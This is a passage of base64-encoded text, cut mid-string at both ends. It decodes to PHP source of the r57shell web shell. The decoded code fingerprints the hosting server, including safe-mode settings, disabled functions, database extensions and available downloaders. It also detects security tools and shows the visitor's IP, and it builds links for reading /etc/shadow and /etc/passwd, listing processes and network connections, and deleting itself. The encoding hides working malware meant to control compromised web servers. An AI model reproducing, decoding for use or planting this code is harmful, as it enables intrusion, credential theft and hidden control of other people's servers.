B9IGVsc2UgeyAkaWQgPSAkX0NPT0tJRVsnaWQnXTsgfQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9CiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQogZWxzZSAgCiAgewogICAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2Vybi5vc3JlbGVhc2UnKTsKICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9CiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0KICAgc2V0Y29va2llKCdzeXNjdGwnLCRzeXNjdGwpOwogIH0gIAogfQoKaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXV0pKSB7CgkkdXN0X3U9Jyc7CglpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7IAoJCWZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKSB7CgkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF91Lj0kaXRlbTt9IAoJCX0KCX0KCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSAmJiBAaW5fYXJyYXkoJ21vZF9wZXJsJyxhcGFjaGVfZ2V0X21vZHVsZXMoKSkpIHskdXN0X3UuPSIsIG1vZF9wZXJsIjt9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2RfaW5jbHVkZScsYXBhY2hlX2dldF9tb2R1bGVzKCkpKSB7JHVzdF91Lj0iLCBtb2RfaW5jbHVkZShTU0kpIjt9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdF91Lj0iLCBwY250bF9leGVjIjt9CglpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3dpbjMyc3RkJykpIHskdXN0X3UuPSIsIHdpbjMyc3RkX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCd3aW4zMnNlcnZpY2UnKSkgeyR1c3RfdS49Iiwgd2luMzJzZXJ2aWNlX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdmZmknKSkgeyR1c3RfdS49IiwgZmZpX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpIHskdXN0X3UuPSIsIHBlcmxfbG9hZGVkIjt9CglpZihzdWJzdHIoJHVzdF91LDAsMSk9PSIsIikgeyR1c3RfdVswXT0iIjt9CgkKCSR1c3RfdSA9IHRyaW0oJHVzdF91KTsKCXNldGNvb2tpZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J10sJHVzdF91KTsKfWVsc2UgewoJJHVzdF91ID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J11dKTsKfQoKaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXV0pKSB7CgkkdXN0X2Q9Jyc7IAoJaWYoJHVuaXggJiYgISRzYWZlX21vZGUpeyAKCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSB7CgkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF9kLj0kaXRlbTt9IAoJCX0KCX0KCWlmKCEkc2FmZV9tb2RlKXsgCgkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgewoJCQlpZihwcygkaXRlbSkpeyR1c3RfZC49JGl0ZW07fSAKCQl9Cgl9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2Rfc2VjdXJpdHknLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfZC49IiwgbW9kX3NlY3VyaXR5Ijt9CglpZihzdWJzdHIoJHVzdF9kLDAsMSk9PSIsIikgeyR1c3RfZFswXT0iIjt9IAoJCgkkdXN0X2QgPSB0cmltKCR1c3RfZCk7CglzZXRjb29raWUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddLCR1c3RfZCk7Cn1lbHNlIHsKCSR1c3RfZCA9IHRyaW0oJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddXSk7Cn0KCmlmKCFpc3NldCgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQyJ11dKSkgewoKCSRzZWxlY3RfZG93bmxvYWRlcnM9JzxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT13aXRoPic7CglpZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykpKXskc2VsZWN0X2Rvd25sb2FkZXJzIC49ICI8b3B0aW9uIHZhbHVlPVwiZm9wZW5cIj5mb3Blbjwvb3B0aW9uPiI7JGRvd25sb2FkZXI9ImZvcGVuIjt9CglpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7IAoJCWZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgewoJCQlpZih3aGljaCgkaXRlbSkpeyRzZWxlY3RfZG93bmxvYWRlcnMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyI+Jy4kaXRlbS4nPC9vcHRpb24+JzskZG93bmxvYWRlci49IiwgJGl0ZW0iO30gCgkJfQoJfQoJJHNlbGVjdF9kb3dubG9hZGVycyAuPSAnPC9zZWxlY3Q+JzsKCWlmKHN1YnN0cigkZG93bmxvYWRlciwwLDEpPT0iLCIpIHskZG93bmxvYWRlclswXT0iIjt9IAoJCgkkZG93bmxvYWRlcj10cmltKCRkb3dubG9hZGVyKTsKCXNldGNvb2tpZSgnc2VsZWN0X2Rvd25sb2FkZXJzJywkc2VsZWN0X2Rvd25sb2FkZXJzKTsKCXNldGNvb2tpZSgnZG93bmxvYWRlcicsJGRvd25sb2FkZXIpOwp9ZWxzZSB7Cgkkc2VsZWN0X2Rvd25sb2FkZXJzID0gJF9DT09LSUVbJ3NlbGVjdF9kb3dubG9hZGVycyddOwoJJGRvd25sb2FkZXIgPSB0cmltKCRfQ09PS0lFWydkb3dubG9hZGVyJ10pOwp9CgoKZWNobyAkaGVhZDsKZWNobyAnPC9oZWFkPic7CgplY2hvICc8Ym9keT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjIHdpZHRoPTEwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0yPicuCndzKDIpLic8Yj4nLndzKDIpLic8Y2VudGVyPnI1N3NoZWxsPGJyPnYuJy4kdmVyc2lvbi4nPC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD4nLgokZnMuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxjZW50ZXI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQzJ10uIjxiPiIuJHRlbXBkaXIuIjwvYj48YnI+Ii4kc2VsZWN0X3RlbXBkaXIuJzxicj4nLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkuCic8L2NlbnRlcj48L2ZvbnQ+Jy4kZmUuJzwvdGQ+Jy4nPHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOwplY2hvIHdzKDIpLiI8Yj4iLmRhdGUgKCJkLW0tWSBIOmk6cyIpLiI8L2I+IFlvdXIgSVA6IFs8Zm9udCBjb2xvcj1ibHVlPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZm9udD5dIjsKZWNobyAiIFhfRk9SV0FSREVEX0ZPUjoiOyBpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpe2VjaG8gIls8Zm9udCBjb2xvcj1yZWQ+Ii4kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXS4iPC9mb250Pl0iO31lbHNle2VjaG8gIls8Zm9udCBjb2xvcj1ncmVlbj48Yj5OT05FPC9iPjwvZm9udD5dIjt9CmVjaG8gIiBDTElFTlRfSVA6ICI7aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKXtlY2hvICJbPGZvbnQgY29sb3I9cmVkPiIuJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10uIjwvZm9udD5dIjt9ZWxzZXtlY2hvICJbPGZvbnQgY29sb3I9Z3JlZW4+PGI+Tk9ORTwvYj48L2ZvbnQ+XSI7fQplY2hvICIgU2VydmVyIElQOiBbPGZvbnQgY29sb3I9Ymx1ZT4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9mb250Pl0iOwoKZWNobyAiPGJyPiI7CgplY2hvIHdzKDIpLiJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsKJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKZWNobyB3cygyKTsKZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iKSk7CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJNeVNRTDogPGI+IjsKJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOwppZigkbXlzcWxfb24pewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PiI7IH0KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk1TU1FMOiA8Yj4iOwokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CmlmKCRtc3NxbF9vbil7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PiI7fQplY2hvICI8L2I+Ii53cygyKTsKZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk9yYWNsZTogPGI+IjsKJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7CmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk15U1FMaTogPGI+IjsKJG15c3FsaV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9jb25uZWN0Jyk7CmlmKCRteXNxbGlfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIm1TUUw6IDxiPiI7CiRtc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0Jyk7CmlmKCRtc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJTUUxpdGU6IDxiPiI7CiRzcWxpdGVfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdzcWxpdGVfb3BlbicpOwppZigkc3FsaXRlX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj48YnI+Ii53cygyKTsKCmVjaG8gIlNhZmVfbW9kZTogPGI+IjsKZWNobyAoKCRzYWZlX21vZGUpPygiPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PiIpKTsKZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk9wZW5fYmFzZWRpcjogPGI+IjsKaWYoJG9wZW5fYmFzZWRpcikgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO307fQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj4iO30KZWNobyB3cygyKS4iU2FmZV9leGVjX2RpcjogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQplY2hvIHdzKDIpLiJTYWZlX2dpZDogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmIChAaW5pX2dldCgnc2FmZV9tb2RlX2dpZCcpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiI7fTt9CmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO30KZWNobyB3cygyKS4iU2FmZV9pbmNsdWRlX2RpcjogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQplY2hvIHdzKDIpLiJTcWwuc2FmZV9tb2RlOiA8Yj4iOwppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKEBpbmlfZ2V0KCdzcWwuc2FmZV9tb2RlJykpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQoKZWNobyAiPGJyPiIud3MoMik7CmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjskZGY9J2luaV9nZXQgIGRpc2FibGUhJzsKaWYoKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgJiYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+Ijt9CgppZihAZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJykpeyRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7fQplbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZGlza19mcmVlX3NwYWNlJykpeyRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkZGlyKTt9ZWxzZXskZnJlZSA9ICdVbmtub3duJzt9CmlmICghJGZyZWUpIHskZnJlZSA9IDA7fQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJGRpcik7CmlmICghJGFsbCkgeyRhbGwgPSAwO30KZWNobyAiPGJyPiIud3MoMikuIkZyZWUgc3BhY2UgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxiPiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsKCgppZigkdXN0X3Upe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJHVzdF91LiI8L2ZvbnQ+Ijt9OwoKaWYoJHVzdF9kKXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM4J10uIjogPGZvbnQgY29sb3I9cmVkPiIuJHVzdF9kLiI8L2ZvbnQ+Ijt9OwoKaWYoJGRvd25sb2FkZXIpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDInXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJGRvd25sb2FkZXIuIjwvZm9udD4iO307CgoKZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xJyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MicgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzMnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzQnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7CmlmKCEkdW5peCkgewogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/NScgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5zeXN0ZW1pbmZvPC9iPjwvYT4gIi4kcmI7Cn1lbHNlewogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/NicgdGl0bGU9XCJWaWV3IHN5c2xvZy5jb25mXCI+PGI+c3lzbG9nPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj83JyB0aXRsZT1cIlZpZXcgcmVzb2x2XCI+PGI+cmVzb2x2PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj84JyB0aXRsZT1cIlZpZXcgaG9zdHNcIj48Yj5ob3N0czwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/OScgdGl0bGU9XCJWaWV3IHNoYWRvd1wiPjxiPnNoYWRvdzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTAnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iXCI+PGI+cGFzc3dkPC9iPjwvYT4gIi4kcmI7IAp9CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzExJyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xMicgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAiLiRyYjsKCmlmKCR1bml4ICYmICEkc2FmZV9tb2RlKSAKeyAKIGVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzEzJyB0aXRsZT1cIlZpZXcgcHJvY2luZm9cIj48Yj5wcm9jaW5mbzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTQnIHRpdGxlPVwiVmlldyBwcm9jIHZlcnNpb25cIj48Yj52ZXJzaW9uPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xNScgdGl0bGU9XCJWaWV3IG1lbSBmcmVlXCI+PGI+ZnJlZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTYnIHRpdGxlPVwiVmlldyBkbWVzZ1wiPjxiPmRtZXNnPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xNycgdGl0bGU9XCJWaWV3IHZtc3RhdFwiPjxiPnZtc3RhdDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTgnIHRpdGxlPVwiVmlldyBsc3BjaVwiPjxiPmxzcGNpPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xOScgdGl0bGU9XCJWaWV3IGxzZGV2XCI+PGI+bHNkZXY8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzIwJyB0aXRsZT1cIlZpZXcgaW50ZXJydXB0c1wiPjxiPmludGVycnVwdHM8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzIxJyB0aXRsZT1cIlZpZXcgcmVhbGlzZTFcIj48Yj5yZWFsaXNlMTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjInIHRpdGxlPVwiVmlldyByZWFsaXNlMlwiPjxiPnJlYWxpc2UyPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yMycgdGl0bGU9XCJWaWV3IGxzYXR0ciAtdmFcIj48Yj5sc2F0dHI8L2I+PC9hPiAiLiRyYjsKCiBlY2hvICI8YnI+Ii53cygyKS4iPC9iPiI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yNCcgdGl0bGU9XCJWaWV3IHdcIj48Yj53PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yNScgdGl0bGU9XCJWaWV3IHdob1wiPjxiPndobzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjYnIHRpdGxlPVwiVmlldyB1cHRpbWVcIj48Yj51cHRpbWU8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzI3JyB0aXRsZT1cIlZpZXcgbGFzdCAtbiAxMFwiPjxiPmxhc3Q8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzI4JyB0aXRsZT1cIlZpZXcgcHMgLWF1eFwiPjxiPnBzIGF1eDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjknIHRpdGxlPVwiVmlldyBzZXJ2aWNlXCI+PGI+c2VydmljZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MzAnIHRpdGxlPVwiVmlldyBpZmNvbmZpZ1wiPjxiPmlmY29uZmlnPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8zMScgdGl0bGU9XCJWaWV3IG5ldHN0YXQgLWFcIj48Yj5uZXRzdGF0PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8zMicgdGl0bGU9XCJWaWV3IGZzdGFiXCI+PGI+ZnN0YWI8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzMzJyB0aXRsZT1cIlZpZXcgZmRpc2sgLWxcIj48Yj5mZGlzazwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MzQnIHRpdGxlPVwiVmlldyBkZiAtaFwiPjxiPmRmIC1oPC9iPjwvYT4gIi4kcmI7Cn0KCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPgo8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPgo8dHI+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOwplY2hvICRmb250OwoKaWYoJHVuaXgpewplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOwplY2hvICI8L3RkPjx0ZD4iOwplY2hvICI8Zm9udCBmYWNlPV